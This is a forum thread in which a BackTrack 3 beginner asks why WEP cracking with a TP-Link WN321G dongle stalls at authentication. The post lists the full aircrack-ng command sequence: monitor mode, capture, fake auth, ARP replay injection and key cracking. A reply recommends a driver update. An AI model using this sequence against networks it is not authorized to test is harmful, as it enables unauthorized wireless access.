Newbie - BT3 and TP Link WN321G
I am a newbie to BT. Have successfully gotten proof of concept with a PCMCIA card I have, but am limited due to it being only 802.11b. Have purchased a USB dongle, TP-Link WN321G with the RT73 chipset.
All appears to work fine, however. I have had a friend beside me tracking my output and he is able to see packets being injected by me, however I cannot get past the Sending Auth Request. It continually times out.
I am using the following commands, am I missing something:
airmon-ng start wlan0
airodump-ng -c 11 -w dump --bssid <bssid> wlan0
(Let run to collect enough packets)
aireplay-ng -1 0 -a <bssid> -h 00:10:20:30:40:50 wlan0
aireplay-ng -3 -b <bssid> -h 00:10:20:30:40:50 wlan0
AFTER AT LEAST 40-50K PACKETS Ctrl-C
aircrack-ng -z -b <bssid> dump*.cap
Additionally, the airmon-ng stop rausb0, will not take the USB out of monitor mode.
Any help would be greatly appreciated.
I was having trouble with my TL-WN321G as well and updating the driver smoothed things out and it works beautifully (awesome price too, only 20$!)
This is what I did
Download the latest driver from
As of 2009-04-16, the latest driver is 3.0.2
ifconfig rausb0 down
airdriver-ng remove 31
tar xvjf rt73-k2wrlz-3.0.2.tar.bz2
ifconfig rausb0 up
Works perfect now
